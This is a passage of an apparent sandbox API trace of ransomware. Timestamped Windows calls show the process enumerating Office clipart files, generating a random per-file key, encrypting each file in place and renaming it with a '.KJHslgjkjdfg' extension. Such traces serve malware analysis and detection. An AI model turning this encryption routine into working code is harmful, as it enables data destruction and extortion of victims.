dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.707] SetEndOfFile (hFile=0x114) returned 1 [0178.715] GetProcessHeap () returned 0x2a0000 [0178.715] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.715] GetProcessHeap () returned 0x2a0000 [0178.715] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.kjhslgjkjdfg")) returned 1 [0178.717] CloseHandle (hObject=0x114) returned 1 [0178.717] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0178.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.718] GetProcessHeap () returned 0x2a0000 [0178.718] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.718] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.718] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0178.725] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.725] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.725] GetProcessHeap () returned 0x2a0000 [0178.726] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.726] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.726] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.726] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.726] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.726] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.726] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.726] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.726] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.726] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.727] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21da, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x21da, lpOverlapped=0x0) returned 1 [0178.730] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21e0, dwBufLen=0x21e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21e0) returned 1 [0178.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.730] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x21e0, lpOverlapped=0x0) returned 1 [0178.730] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.730] SetEndOfFile (hFile=0x114) returned 1 [0178.733] GetProcessHeap () returned 0x2a0000 [0178.733] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.733] GetProcessHeap () returned 0x2a0000 [0178.733] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.kjhslgjkjdfg")) returned 1 [0178.734] CloseHandle (hObject=0x114) returned 1 [0178.734] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0178.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.735] GetProcessHeap () returned 0x2a0000 [0178.735] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.735] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.735] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0178.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.738] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.738] GetProcessHeap () returned 0x2a0000 [0178.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.738] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.738] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.738] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.739] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x843a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x843a, lpOverlapped=0x0) returned 1 [0178.740] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8440, dwBufLen=0x8440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8440) returned 1 [0178.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.740] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8440, lpOverlapped=0x0) returned 1 [0178.741] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.741] SetEndOfFile (hFile=0x114) returned 1 [0178.744] GetProcessHeap () returned 0x2a0000 [0178.744] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.744] GetProcessHeap () returned 0x2a0000 [0178.744] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.kjhslgjkjdfg")) returned 1 [0178.745] CloseHandle (hObject=0x114) returned 1 [0178.745] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0178.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.746] GetProcessHeap () returned 0x2a0000 [0178.747] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.747] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.747] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.758] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.759] GetProcessHeap () returned 0x2a0000 [0178.759] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.759] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.759] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.759] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.759] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.759] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.759] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.759] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.759] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.759] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.760] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x44fe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x44fe, lpOverlapped=0x0) returned 1 [0178.768] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4500, dwBufLen=0x4500 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4500) returned 1 [0178.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.768] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4500, lpOverlapped=0x0) returned 1 [0178.769] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x45d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.769] SetEndOfFile (hFile=0x114) returned 1 [0178.772] GetProcessHeap () returned 0x2a0000 [0178.772] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.772] GetProcessHeap () returned 0x2a0000 [0178.772] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.kjhslgjkjdfg")) returned 1 [0178.773] CloseHandle (hObject=0x114) returned 1 [0178.774] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0178.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.775] GetProcessHeap () returned 0x2a0000 [0178.775] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.775] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.775] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.778] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.778] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.778] GetProcessHeap () returned 0x2a0000 [0178.778] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.778] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.778] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.778] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.779] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.779] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.779] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.779] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.779] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4724, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4724, lpOverlapped=0x0) returned 1 [0178.780] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4730, dwBufLen=0x4730 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4730) returned 1 [0178.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.780] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4730, lpOverlapped=0x0) returned 1 [0178.781] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.781] SetEndOfFile (hFile=0x114) returned 1 [0178.783] GetProcessHeap () returned 0x2a0000 [0178.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.783] GetProcessHeap () returned 0x2a0000 [0178.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.kjhslgjkjdfg")) returned 1 [0178.785] CloseHandle (hObject=0x114) returned 1 [0178.785] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0178.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 